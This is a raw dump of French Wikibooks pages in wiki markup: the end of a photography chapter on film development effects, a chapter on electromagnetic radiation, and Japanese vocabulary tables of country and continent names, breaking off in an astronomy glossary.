dans la qualité de reproduction des documents.<br> Pour faire disparaître la majeure partie de ces défauts, il faut tirer de telles images sur des papiers très « doux », jamais sur des papiers très « durs ». Une telle situation peut se produre dans le cas de l'agrandissement des microfilms. |- |[[Image:Effets de relief.png|200px|center]] |'''Effets de relief''' : dans les zones où le noircissement est important, les cristaux d'halogénures d'argent sont remplacés par des filaments d'argent métallique plus volumineux. Dans les zones non exposées, en revanche, les cristaux d'halogénures sont totalement éliminés après fixage et lavage, ils laissent derrière eux un certain vide et l'épaisseur de la couche de gélatine diminue (A : épaisseur avant fixage, B, épaisseur après fixage).<br> Dans les zones de transition, par suite de divers phénomènes physiques et mécaniques, des déformations de surface de l'ordre de quelques &mu;m apparaissent. Ces zones créent parfois des problèmes lors de l'agrandissement car elles modifient considérablement le trajet des rayons lumineux. Sur l'agrandissement, il en résulte généralement une augmentation de l'acutance mais aussi parfois un assombrissement anormal de l'image de ces zones de transition.<br> Ces déformations sont particulièrement importantes dans le cas des films Kodachrome. Les scanners munis de la fonction ICE les détectent comme si elles étaient des défauts de surface, ce qui donne évidemment des résultats très mauvais si cette fonction n'a pas été désactivée. |- |[[Image:Bandes de Mackie.png|200px|center]] |'''Bandes de Mackie''' : la composition du révélateur change de part et d'autre d'une zone de transition, le produit reste presque inchangé là où les cristaux d'halogénure n'ont pas été développés, en revanche il est plus ou moins épuisé du côté où le développement au eu lieu. La diffusion de produit usagé dans la première et de produit frais dans la seconde provoque la formation de deux bandes qui augmentent le contraste local et donc l'acutance.<br> L'augmentation de la netteté par des moyens informatiques crée des bandes dont l'effet est analogue. |- |[[Image:Effet Eberhard.png|200px|center]] |'''Effet Eberhard''' : les bandes de Mackie se confondent pour les raies étroites dont la densité se trouve plus élevée que prévu. L'acutance est augmentée mais cet effet est particulièrement gênant en spectroscopie. Depuis l'avénement des techniques numériques dans cette discipline, ce problème a disparu mais il ne faudrait pas l'oublier si l'on désire réexaminer un cliché ancien. |- |[[Image:Effet Kostinsky 1.png|200px|center]] |'''Effet Kostinsky''', première conséquence : la densité d'une raie noire comprise entre deux raies blanches est plus faible qu'il ne faudrait. |- |[[Image:Effet Kostinsky 2.png|200px|center]] |'''Effet Kostinsky''', seconde conséquence : les images de deux fines raies noires voient leur distance augmenter par suite de l'épuisement du révélateur dans la zone centrale, ce qui est particulièrement gênant en spectroscopie et en astromomie car les mesures deviennent impossibles. |- |pas d'image |'''Effets inter-couches''' : dans le cas des émulsions couleurs dont les couches sont superposées, les produits formés lors du développement de l'une des couches peuvent influencer le traitement des autres couches. Cet effet est systématiquement mis à profit pour améliorer la pureté des couleurs mais il peut aussi avoir des effets sur la netteté des diapositives. |- |} Suite : '''[[Photographie - 14 - Netteté des images informatiques|Netteté des images informatiques]]''' Elever Lapins 4986 18995 2005-08-12T20:39:28Z Kingmike 392 Elever Lapins déplacé vers Cuniliculture #redirect [[Cuniliculture]] Photographie - 14 - Netteté des images informatiques 4989 45563 2006-06-24T12:06:13Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_14}} {{ébauche}} '''Article en préparation'''. Suite : '''[[Photographie - 14 - Profondeur de champ|Profondeur de champ]]''' Photographie - 14 - Pouvoir séparateur des émulsions 4990 19041 2005-08-13T13:48:13Z Jean-Jacques MILAN 114 Photographie - 14 - Pouvoir séparateur des émulsions déplacé vers Photographie - 14 - Les émulsions et la reproduction des détails: meilleure adéquation du titre #redirect [[Photographie - 14 - Les émulsions et la reproduction des détails]] Photographie - Chapitre 04 - Rayonnements et lumière 4994 44363 2006-06-11T22:20:41Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_04}} Photographie - 04 - Rayonnements électromagnétiques 4995 44347 2006-06-11T21:34:38Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_04}} Nous vivons dans un milieu baigné de vibrations, d'oscillations et d'ondes de toutes sortes. Certaines sont mécaniques (bruits, sons musicaux, vagues à la surface de l'eau, ...), d'autres ont une nature d'autant plus difficile à imaginer que nos sens ne peuvent pas les percevoir. Parmi ces dernières figurent les rayonnements électromagnétiques, qui sont très diversifiés. La lumière visible en est une toute petite partie. D'autres rayonnements de la même famille sont invisibles mais leurs effets bénéfiques ou fâcheux sont très importants. Les ondes hertziennes sont largement utilisées par la radio, la télévision, les téléphones mobiles. Les micro-ondes réchauffent nos plats surgelés et les rayons infrarouges sont émis par toutes les sources de chaleur. Les rayons ultraviolets peuvent stériliser le matériel médical ou agir sur la peau pour donner, selon les conditions, un joli bronzage ou un vilain coup de soleil. Il y a aussi les rayons X dont les applications médicales, industrielles, scientifiques, ... sont nombreuses, les rayons gamma émis par les produits radioactifs et enfin, venant des confins de l'univers, les rayons cosmiques. Tous ces rayonnements, très différents à la fois par leurs modes de production et par leurs effets, sont des perturbations périodiques de l'espace provoquées par les oscillations simultanées d'un champ magnétique et d'un champ électrique. Ils se propagent sous forme d'ondes capables de transporter de l'énergie. [[Image:Onde électromagnétique.png|400px|center]] == Définitions == Ces ondes possèdent des caractéristiques communes que l'on peut comprendre en faisant ... des ronds dans l'eau. On peut les caractériser par : * leur '''fréquence''' &nu; (nu, en grec), ou nombre d'oscillations par seconde, exprimée en hertz (1 Hz = 1 oscillation par seconde) * ou, ce qui revient exactement au même, par leur '''période''' T, durée d'une oscillation, * leur '''longueur d'onde''' &lambda; (lambda), ou distance parcourue par l'onde pendant une oscillation complète, * leur '''célérité''' c ou vitesse de propaga­tion, qui vaut 299 792, 458 km/s (env. 300 000 km/s) dans le vide, quelle que soit la fréquence. {| border="1" cellspacing="0" cellpadding="5" align="center" |- |<math>\lambda = \frac{c}{\nu} = cT</math> |- |} Imaginons que des rides formées dans l'eau se déplacent à 2 m/s. Si l'eau monte et descend le long d'un piquet 4 fois par seconde (4 Hz), alors la longueur d'onde vaut 0,5 m, ce qui représente la distance entre la crête d'une vague et la crête de la suivante. On parle de célérité plutôt que de vitesse car la matière n'est pas transportée par l'onde. Un petit objet flottant monte et descend avec la vague mais n'est pas transporté par elle ; en fait sa trajectoire prend la forme d'une ellipse. [[Image:Simple harmonic motion animation.gif]] [[Image:Trajectoire elliptique d'un objet flottant sur une vague.png|250px]] == Vue d'ensemble des rayonnements électromagnétiques == Les rayonnements électromagnétiques peuvent être classés en fonction de leurs longueurs d'onde ou, ce qui revient au même, en fonction de leur fréquence. On préfère utiliser cette dernière grandeur pour les ondes hertziennes. Par exemple, pour les téléphones mobiles, les fréquences vont de 900 MHz (mégahertz, ou millions de hertz) en Europe à 2,45 GHz (gigahertz, ou milliards de hertz) aux États-Unis. Les unités communément utilisées pour les longueurs d'onde sont : {| align="center" |- | le kilomètre | 1 km = 10<sup>3</sup> m |- | le mètre | 1 m |- | le millimètre | 1 mm = 10<sup>-3</sup> m |- | le millionnième de mètre ou micron | 1 μm = 10<sup>-6</sup> m |- | le milliardième de mètre ou nanomètre | 1 nm = &à<sup>-9</sup> m |- | le dix milliardième de mètre ou angström, désormais à éviter | 1 Å = 10<sup>-10</sup> m |- | le millième de milliardième de mètre ou picomètre | 1 pm = 10<sup>-12</sup> m |- |} [[Image:Rayonnements électromagnétiques.png|600px|center]] En fait la gamme des rayonnements électromagnétiques s'étend sur une vingtaine d'ordres de grandeur, ce qui est absolument énorme. Ces rayonnements forment un ensemble continu mais on a l'habitude de les répartir en différents domaines compte tenu de leur mode de production : * les ondes hertziennes et les microondes sont produites par des oscillateurs électriques, * la lumière est produite par les corps chauds, les différents types de lampes et de tubes utilisés pour l'éclairage et d'autres applications, les diodes électroluminescentes, les lasers, certains organismes vivants (vers luisants, lucioles, etc.), * les rayons X sont émis par des tubes de Crookes ou de Coolidge, * les rayons gamma sont dûs à certains corps radioactifs, * enfin, les rayons cosmiques ont pour origine des sources stellaires. On peut noter que certains domaines se recouvrent partiellement, les microondes les plus courtes et les rayons infrarouges les plus longs sont identiques, de même pour l'ultraviolet extrême et les rayons X les plus « mous ». [[Image:Spectre.svg|500px|center]] La théorie vibratoire de la lumière, développée par Young et Fresnel, puis étendue à toutes les autres radiations électromagnétiques par Maxwell et Hertz, permet d'expliquer les phénomènes liés à la propagation des ondes (interférences, ondes stationnaires, etc.). En revanche, un certain nombre d'autres phénomènes comme l'effet photoélectrique ou l'émission des rayons X ne peuvent devenir compréhensibles que si l'on admet l'existence de « grains de lumière » distincts ou '''photons'''. Cette idée de Newton a été développée par Einstein. Les deux aspects ondulatoire et corpusculaire des radiations électromagnétiques, loin d'être contradictoires, sont complémentaires et développés simultanément dans la '''mécanique ondulatoire''' de de Broglie et Schrödinger, grâce à la théorie des '''quanta'''. Le photon peut être considéré comme une particule pratiquement sans masse, animée de la vitesse c dans le vide et porteuse d'une quantité élémentaire d'énergie ou '''quantum''' proportionnelle à la fréquence de la radiation : <center><math>q = h \nu \,</math></center> h est la '''constante de Planck''' qui vaut 6,624 10<sup>-34</sup> joule.seconde et par convention c'est la quantité <math>h \nu \,</math> que l'on appelle photon. L'énergie du photo correspond à une oscillation, on la mesure en électron-volt. L'aspect corpusculaire des ondes électromagnétiques prédomine sur leur aspect vibratoire lorsque la fréquence et donc l'énergie des photons sont très grandes ou, ce qui est équivalent, lorsque la longueur d'onde est très petite. Japonais:Vocabulaire Pays 4998 20452 2005-09-02T12:43:30Z Duarna 465 +modèle Retour à la [[Table des matières (Japonais)|table des matières]]. ==Nom des continents 大陸 (たいりく)== {| border="1" cellpadding="6" cellspacing="0" !Continent ![[Japonais:Kanji|Kanji]] ![[Japonais:Kana|Kana]] ![[Japonais:Romaji|Romaji]] |- |Afrique |[http://ja.wikipedia.org/wiki/アフリカ アフリカ大陸] |アフリカたいりく |''afurika tairiku'' |- |Antartique |[http://ja.wikipedia.org/wiki/%E5%8D%97%E6%A5%B5%E5%A4%A7%E9%99%B8 南極大陸] |なんきょく |''nankyoku'' |- |Asie |[http://ja.wikipedia.org/wiki/%E3%82%A2%E3%82%B8%E3%82%A2 アジア大陸]] / 亜細亜大陸 |アジアたいりく |''ajia tairiku'' |- |Océanie |[http://ja.wikipedia.org/wiki/%E3%82%AA%E3%83%BC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%AA%E3%82%A2 オーストラリア大陸] |オーストラリアたいりく |''oosutoraria tairiku'' |- |Europe |[http://ja.wikipedia.org/wiki/%E3%83%A8%E3%83%BC%E3%83%AD%E3%83%83%E3%83%91 ヨーロッパ大陸] |ヨーロッパたいりく |''yooroppa tairiku'' |- |Amérique du nord |[http://ja.wikipedia.org/wiki/%E5%8C%97%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB 北アメリカ大陸] / 北米 |きたアメリカたいりく / ほくべい |''kita amerika tairiku'' / ''hokubei'' |- |Amérique du sud |[http://ja.wikipedia.org/wiki/%E5%8D%97%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB 南アメリカ大陸] / 南米 |みなみアメリカたいりく / なんべい |''minami amerika tairiku'' / ''nambei'' |} == Afrique (アフリカ) == {| border="1" cellpadding="6" cellspacing="0" !Pays ![[Japonais:Kanji|Kanji]] ![[Japonais:Kana|Kana]] ![[Japonais:Romaji|Romaji]] |- |Egypte |[http://ja.wikipedia.org/wiki/%E3%82%A8%E3%82%B8%E3%83%97%E3%83%88 エジプト] |エジプト |''Ejiputo'' |- |Algerie |[http://ja.wikipedia.org/wiki/アルジェリア アルジェリア] / アルジェリア民主人民共和国 |アルジェリア / アルジェリアみんしゅじんみんきょうわこく |''Arujeria / Arujeria minshujinmin kyouwakoku |- |Tchad |[http://ja.wikipedia.org/wiki/チャド チャド] / チャド共和国 |チャド / チャド共和国 |''Chado / Chado kyouwakoku |- |Lybie |[http://ja.wikipedia.org/wiki/リビア リビア] / 社会主義人民リビアアラブ国 |リビア / しゃかいしゅぎじんみんリビアアラブこく |''Ribia'' / ''Shakaishugi jinmin Ribia-arabukoku |- |Afrique du sud |[http://ja.wikipedia.org/wiki/南アフリカ 南アフリカ] / 南アフリカ共和国 |みなみアフリカ / みなみアフリカきょうわこく |''Minami Afurika'' / ''Minami Afurika Kyouwakoku |} == Asie アジア == ===Extrême orient (Asie de l'est) 東アジア (ひがしアジア)=== {| width="100%" border="1" cellspacing="0" cellpadding="6" ! Pays !colspan="2"|Nom non-officiel ! colspan="2" |Nom officiel |- | Chine || 中国 || ちゅうごく || [http://ja.wikipedia.org/wiki/%E4%B8%AD%E8%8F%AF%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD 中華人民共和国] || ちゅうかじんみんきょうわこく |- | Hong Kong || [http://ja.wikipedia.org/wiki/%E9%A6%99%E6%B8%AF 香港] || ホンコン || 香港特別行政区 || ホンコンとくべつぎょうせいく |- | Japon || [http://ja.wikipedia.org/wiki/%E6%97%A5%E6%9C%AC 日本] || にほん / にっぽん || 日本国 || にほんこく / にっぽんこく |- | Macao || 澳門 || [http://ja.wikipedia.org/wiki/%E3%83%9E%E3%82%AB%E3%82%AA マカオ || 澳門特別行政区] || マカオとくべつぎょうせいく |- | Mongolie || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%83%A2%E3%83%B3%E3%82%B4%E3%83%AB%E5%9B%BD モンゴル] || モンゴル国 || モンゴルこく |- | Corée du nord || [http://ja.wikipedia.org/wiki/%E6%9C%9D%E9%AE%AE%E6%B0%91%E4%B8%BB%E4%B8%BB%E7%BE%A9%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD 北朝鮮] || きたちょうせん || 朝鮮民主主義人民共和国 || ちょうせんみんしゅしゅぎじんみんきょうわこく |- | Corée du sud || [http://ja.wikipedia.org/wiki/%E5%A4%A7%E9%9F%93%E6%B0%91%E5%9B%BD 韓国] || かんこく || 大韓民国 || だいかんみんこく |- | Taiwan || [http://ja.wikipedia.org/wiki/%E5%8F%B0%E6%B9%BE 台湾] || たいわん || 中華民国 || ちゅうかみんこく |} * Le japon classe la mongolie comme un pays d'asie de l'est (Mongolie est aussi considéré comme un pays d'asie centrale par d'autre pays) ** La Mongolie est aussi connue sous le nom 蒙古 (もうこ) * La Chine est aussi apellé チャイナ ou シナ * Le Japon est aussi nomé ジャパン ** La péninsule coréenne est apellé 朝鮮半島 (ちょうせんはんとう) ===Asie du sud-est 東南アジア (とうなんアジア)=== {| width="100%" border="1" cellspacing="0" cellpadding="6" ! Pays !colspan="2"|Nom non-officiel ! colspan="2" |Nom officiel |- | Brunei || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%83%96%E3%83%AB%E3%83%8D%E3%82%A4 ブルネイ] || ブルネイ・ダルサラーム国 || ブルネイ・ダルサラームこく |- | Cambodge || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%82%AB%E3%83%B3%E3%83%9C%E3%82%B8%E3%82%A2 カンボジア] || カンボジア王国 || カンボジアおうこく |- | Timore-oriental|| [http://ja.wikipedia.org/wiki/%E6%9D%B1%E3%83%86%E3%82%A3%E3%83%A2%E3%83%BC%E3%83%AB 東ティモール] || ひがしティモール || 東ティモール民主共和国 || ひがしティモールみんしゅきょうわこく |- | Indonesie || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%82%A4%E3%83%B3%E3%83%89%E3%83%8D%E3%82%B7%E3%82%A2 インドネシア] || インドネシア共和国 || インドネシアきょうわこく |- | Laos || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%83%A9%E3%82%AA%E3%82%B9 ラオス || ラオス人民民主共和国] || ラオスじんみんみんしゅきょうわこく |- | Malaisie || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%83%9E%E3%83%AC%E3%83%BC%E3%82%B7%E3%82%A2 マレーシア] || &nbsp; || &nbsp; |- | Myanmar || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%83%9F%E3%83%A3%E3%83%B3%E3%83%9E%E3%83%BC ミャンマー] || ミャンマー連邦 || ミャンマーれんぽう |- | Philippine || 比律賓 || [http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A3%E3%83%AA%E3%83%94%E3%83%B3 フィリピン] || フィリピン共和国 || フィリピンきょうわこく |- | Singapoure || 新嘉坡 || [http://ja.wikipedia.org/wiki/%E3%82%B7%E3%83%B3%E3%82%AC%E3%83%9D%E3%83%BC%E3%83%AB シンガポール] || シンガポール共和国 || シンガポールきょうわこく |- | Thailand || 泰 || [http://ja.wikipedia.org/wiki/%E3%82%BF%E3%82%A4%E7%8E%8B%E5%9B%BD タイ] || タイ王国 || たいおうおく |- | Vietnam || 越南 || [http://ja.wikipedia.org/wiki/%E3%83%99%E3%83%88%E3%83%8A%E3%83%A0 ベトナム] || ベトナム社会主義共和国 || ベトナムしゃかいしゅぎきょうわこく |} ===Asia du sud南アジア (みなみアジア)=== {| width="100%" border="1" cellspacing="0" cellpadding="6" ! Pays !colspan="2"|Nom non-officiel ! colspan="2" |Nom officiel |- | Bangladesh || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%83%90%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%87%E3%82%B7%E3%83%A5 バングラデシュ] || バングラデシュ人民共和国 || バングラデシュじんみんきょうわこく |- | Boutan || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%83%96%E3%83%BC%E3%82%BF%E3%83%B3 ブータン] || ブータン王国 || ブータンおうこく |- | Inde || 印度 || いんど || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%82%A4%E3%83%B3%E3%83%89 インド] |- | Maldives || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%83%A2%E3%83%AB%E3%83%87%E3%82%A3%E3%83%96 モルディブ] || モルディブ共和国 || モルディブきょうわこく |- | Népal || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%83%8D%E3%83%91%E3%83%BC%E3%83%AB ネパール] || ネパール王国 || ネパールおうこく |- | Pakistan || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%83%91%E3%82%AD%E3%82%B9%E3%82%BF%E3%83%B3 パキスタン] || パキスタン・イスラム共和国 || パキスタン・イスラムきょうわこく |- | Sri Lanka || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%82%B9%E3%83%AA%E3%83%A9%E3%83%B3%E3%82%AB スリランカ] || スリランカ民主社会主義共和国 || スリランカみんしゅしゃかいしゅぎきょうわこく |} ==Moyen orient (élargie) 中東 (ちゅうとう)== ===Asie central 中央アジア (ちゅうおうアジア)=== {| width="100%" border="1" cellspacing="0" cellpadding="6" ! Pays !colspan="2"|Nom non-officiel ! colspan="2" |Nom officiel |- | Afganistan || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%95%E3%82%AC%E3%83%8B%E3%82%B9%E3%82%BF%E3%83%B3 アフガニスタン] || アフガニスタン・イスラム共和国 || アフガニスタン・イスラムきょうわこく |- | Kazakhstan || &nbsp; || [http://ja.wikipedia.org/wiki/%E3%82%AB%E3%82%B6%E3%83%95%E3%82%B9%E3%82%BF%E3%83%B3 カザフスタン] || カザフスタン共和国 || カザフスタンきょうわこく |- | Kirgizstan || &nbsp; || [[w:ja:キルギスタン|キルギスタン]] || キルギスタン || きるぎすたん |- | Tajikistan || &nbsp; || [[w:ja:タジキスタン|タジキスタン]] || タジキスタン || たじきすたん |- | Turkmenistan || &nbsp; || [[w:ja:トルクメニスタン|トルクメニスタン]] || トルクメニスタン || とるくめにすたん |- | Uzbekistan || &nbsp; || [[w:ja:ウズベキスタン|ウズベキスタン]] || ウズベキスタン || うずべきすたん |} <div style="border: solid red 1px; background: #FFF4F4;"> </div> {| border="1" cellpadding="6" cellspacing="0" !Pays ![[Japonais:Kanji|Kanji]] ![[Japonais:Kana|Kana]] ![[Japonais:Romaji|Romaji]] |- |Japon |[http://ja.wikipedia.org/wiki/%E6%97%A5%E6%9C%AC 日本] |にほん / にっぽん |''Nihon'' / ''Nippon'' |- |Taiwan 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|[http://ja.wikipedia.org/wiki/ラオス ラオス] |ラオス |''Raosu'' |- |Thailand |[http://ja.wikipedia.org/wiki/タイ王国 タイ] / タイ王国 |タイ / タイおうこく |''Tai'' / '''Tai oukoku''' |- |Malaisie |[http://ja.wikipedia.org/wiki/マレーシア マレーシア] |マレーシア |''Mareishia'' |- |Singapoure |[http://ja.wikipedia.org/wiki/シンガポール シンガポール] / シンガポール共和国 |シンガポール / シンガポールきょうわこく |''Shingaporu'' ''Shingaporu kyouwakoku'' |} == Europe (ヨーロッパ) == {| border="1" cellpadding="6" cellspacing="0" !Pays ![[Japonais:Kanji|Kanji]] ![[Japonais:Kana|Kana]] ![[Japonais:Romaji|Romaji]] |- |Island |[http://ja.wikipedia.org/wiki/%E3%82%A2%E3%82%A4%E3%82%B9%E3%83%A9%E3%83%B3%E3%83%89 アイスランド] |アイスランド |''aisurando'' |- |Irland |[http://ja.wikipedia.org/wiki/%E3%82%A2%E3%82%A4%E3%83%AB%E3%83%A9%E3%83%B3%E3%83%89 愛蘭] |アイルランド |''airurando'' |- |Albanie |[http://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%AB%E3%83%90%E3%83%8B%E3%82%A2 アルバニア] |アルバニア |''arubania'' |- |Andore |[http://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%B3%E3%83%89%E3%83%A9 アンドラ] |アンドラ |''andora'' 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|- |Gréce |[http://ja.wikipedia.org/wiki/%E3%82%AE%E3%83%AA%E3%82%B7%E3%83%A3 希臘] |ギリシア / ギリシャ |''Girisia'' / ''Girisha'' |- |Croatie |[http://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AD%E3%82%A2%E3%83%81%E3%82%A2 クロアチア] |クロアチア |''Kuroachia'' |- |Suisse |[http://ja.wikipedia.org/wiki/%E3%82%B9%E3%82%A4%E3%82%B9 瑞西] |スイス |''suisu'' |- |Suède |[http://ja.wikipedia.org/wiki/%E3%82%B9%E3%82%A6%E3%82%A7%E3%83%BC%E3%83%87%E3%83%B3 瑞典] |スウェーデン |''suweden'' |- |Slovaquie |[http://ja.wikipedia.org/wiki/%E3%82%B9%E3%83%AD%E3%83%90%E3%82%AD%E3%82%A2 スロバキア] |スロバキア |''surobakia'' |- |Slovenie |[http://ja.wikipedia.org/wiki/%E3%82%B9%E3%83%AD%E3%83%99%E3%83%8B%E3%82%A2 スロベニア] |スロベニア |''surobenia'' |- |Espagne |[http://ja.wikipedia.org/wiki/%E3%82%B9%E3%83%9A%E3%82%A4%E3%83%B3 西班牙] |スペイン |''supein'' |- |République tchèque |[http://ja.wikipedia.org/wiki/%E3%83%81%E3%82%A7%E3%82%B3 捷克] |チェコ |''cheko'' |- |Danmarque |[http://ja.wikipedia.org/wiki/%E3%83%87%E3%83%B3%E3%83%9E%E3%83%BC%E3%82%AF 丁抹] |デンマーク |''denmaku'' |- |Allemagne |[http://ja.wikipedia.org/wiki/%E3%83%89%E3%82%A4%E3%83%84 独逸] |ドイツ |''doitsu'' |- |Turquie |[http://ja.wikipedia.org/wiki/%E3%83%88%E3%83%AB%E3%82%B3 土耳古] |トルコ |''toruko'' |- |Norvège |[http://ja.wikipedia.org/wiki/%E3%83%8E%E3%83%AB%E3%82%A6%E3%82%A7%E3%83%BC 諾威] |ノルウェー |''noruwe'' |- |Hongrie |[http://ja.wikipedia.org/wiki/%E3%83%8F%E3%83%B3%E3%82%AC%E3%83%AA%E3%83%BC 洪牙利] |ハンガリー |''Hangari'' |- |Finland |[http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A3%E3%83%B3%E3%83%A9%E3%83%B3%E3%83%89 芬蘭] |フィンランド |''finrando'' |- |France |[http://ja.wikipedia.org/wiki/%E3%83%95%E3%83%A9%E3%83%B3%E3%82%B9 仏蘭西] |フランス |''Furansu'' |- |Belarusie |[http://ja.wikipedia.org/wiki/%E3%83%99%E3%83%A9%E3%83%AB%E3%83%BC%E3%82%B7 白ロシア] |ベラルーシ |''berarushi'' |- |Bulgarie |[http://ja.wikipedia.org/wiki/%E3%83%96%E3%83%AB%E3%82%AC%E3%83%AA%E3%82%A2 勃牙利] |ブルガリア |''burugaria'' |- |Bèlgique |[http://ja.wikipedia.org/wiki/%E3%83%99%E3%83%AB%E3%82%AE%E3%83%BC 白耳義] |ベルギー |''berugi'' |- |Bosnie Herzegovine |[http://ja.wikipedia.org/wiki/%E3%83%9C%E3%82%B9%E3%83%8B%E3%82%A2%E3%83%BB%E3%83%98%E3%83%AB%E3%83%84%E3%82%A7%E3%82%B4%E3%83%93%E3%83%8A ボスニア・ヘルツェゴビナ] |ボスニア・ヘルツェゴビナ |''bosunia herutsegobina'' |- |Pologne |[http://ja.wikipedia.org/wiki/%E3%83%9D%E3%83%BC%E3%83%A9%E3%83%B3%E3%83%89 波蘭] |ポーランド |''porando'' |- |Portugale |[http://ja.wikipedia.org/wiki/%E3%83%9D%E3%83%AB%E3%83%88%E3%82%AC%E3%83%AB 葡萄牙] |ポルトガル |''porutogaru'' |- |Malte |[http://ja.wikipedia.org/wiki/%E3%83%9E%E3%83%AB%E3%82%BF マルタ] |マルタ |''maruta'' |- |Moldavie |[http://ja.wikipedia.org/wiki/%E3%83%A2%E3%83%AB%E3%83%89%E3%83%90 モルドバ] |モルドバ |''morudoba'' |- |Serbie Montenegro |[http://ja.wikipedia.org/wiki/%E3%82%BB%E3%83%AB%E3%83%93%E3%82%A2%E3%83%BB%E3%83%A2%E3%83%B3%E3%83%86%E3%83%8D%E3%82%B0%E3%83%AD セルビア・モンテネグロ] |セルビア・モンテネグロ |''Serubia Monteneguro'' |- |Lettonie |[http://ja.wikipedia.org/wiki/%E3%83%A9%E3%83%88%E3%83%93%E3%82%A2 ラトビア] |ラトビア |''ratobia'' |- |Lituanie |[http://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%88%E3%82%A2%E3%83%8B%E3%82%A2 リトアニア] |リトアニア |''ritoania'' |- |Luxembourg |[http://ja.wikipedia.org/wiki/%E3%83%AB%E3%82%AF%E3%82%BB%E3%83%B3%E3%83%96%E3%83%AB%E3%82%AF ルクセンブルク] |ルクセンブルク |''rukusenburuku'' |- |Roumanie |[http://ja.wikipedia.org/wiki/%E3%83%AB%E3%83%BC%E3%83%9E%E3%83%8B%E3%82%A2 羅馬尼亜] |ルーマニア |''rumania'' |- |Russie |[http://ja.wikipedia.org/wiki/%E3%83%AD%E3%82%B7%E3%82%A2 露西亜] |ロシア |''roshia'' |} == Amérique du nord (北アメリカ) == {| border="1" cellpadding="6" cellspacing="0" !Pays ![[Japonais:Kanji|Kanji]] ![[Japonais:Kana|Kana]] ![[Japonias:Romaji|Romaji]] |- |Canada |[http://ja.wikipedia.org/wiki/%E3%82%AB%E3%83%8A%E3%83%80 加奈陀] |カナダ |''kanada'' |- |État-unis d'amérique |[http://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E5%90%88%E8%A1%86%E5%9B%BD 亜米利加(合衆国)] / 米国 |アメリカ(がっしゅうこく) / べいこく |''amerika (gasshukoku)'' / ''beikoku'' |- |Mexique |[http://ja.wikipedia.org/wiki/%E3%83%A1%E3%82%AD%E3%82%B7%E3%82%B3 墨西哥] |メキシコ |''mekishiko'' |- |Panama |[http://ja.wikipedia.org/wiki/%E3%83%91%E3%83%8A%E3%83%9E 巴奈馬] |パナマ |''panama'' |- |Cuba |[http://ja.wikipedia.org/wiki/%E3%82%AD%E3%83%A5%E3%83%BC%E3%83%90 玖馬] |キューバ |''kyba'' |- |Jamaique |[http://ja.wikipedia.org/wiki/%E3%82%B8%E3%83%A3%E3%83%9E%E3%82%A4%E3%82%AB 牙買加] |ジャマイカ |''jamaika'' |- |République Dominicaine |[http://ja.wikipedia.org/wiki/%E3%83%89%E3%83%9F%E3%83%8B%E3%82%AB%E5%9B%BD ドミニカ国] / 土弥尼加 |ドミニカこく / ??? |''dominika koku'' |- |Haiti |[http://ja.wikipedia.org/wiki/%E3%83%8F%E3%82%A4%E3%83%81 ハイチ] |ハイチ |''haichi'' |} == Amérique du sud (南アメリカ) == {| border="1" cellpadding="6" cellspacing="0" !Pays ![[Japonais:Kanji|Kanji]] ![[Japonais:Kana|Kana]] ![[Japonais:Romaji|Romaji]] |- |Brésil |[http://ja.wikipedia.org/wiki/%E3%83%96%E3%83%A9%E3%82%B8%E3%83%AB ブラジル] |ブラジル |''burajiru'' |- |Argentine |[http://ja.wikipedia.org/wiki/アルゼンチン アルゼンチン] |アルゼンチン |''aruzenchin'' |} == Pays bordant le pacifique (太平洋の国) == {| border="1" cellpadding="6" cellspacing="0" !Pays ![[Japonais:Kanji|Kanji]] ![[Japonais:Kana|Kana]] ![[Japonais:Romaji|Romaji]] |- |Australie |[http://ja.wikipedia.org/wiki/%E3%82%AA%E3%83%BC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%AA%E3%82%A2 豪州]&sup1; |オーストラリア |''oosutoraria'' |- |Nouvelle Zéland |[http://ja.wikipedia.org/wiki/%E3%83%8B%E3%83%A5%E3%83%BC%E3%82%B8%E3%83%BC%E3%83%A9%E3%83%B3%E3%83%89 新西蘭] |ニュージーランド |''nyuu jiirando'' |} &sup1; Le kanji pour l'australie 豪州 (prononcé ''gsh'' ごうしゅう) est rarement utilisé. L'écriture en katakana est plus fréquente. ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Vocabulary_Country_Names]] Japonais:Vocabulaire Astronomie 5000 22885 2005-10-12T18:52:38Z 132.208.194.65 Retour à la [[Table des matières (Japonais)|table des matières]]. {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Univers | [http://ja.wikipedia.org/wiki/%E5%AE%87%E5%AE%99 宇宙] | うちゅう | uchuu |- | Galaxie | 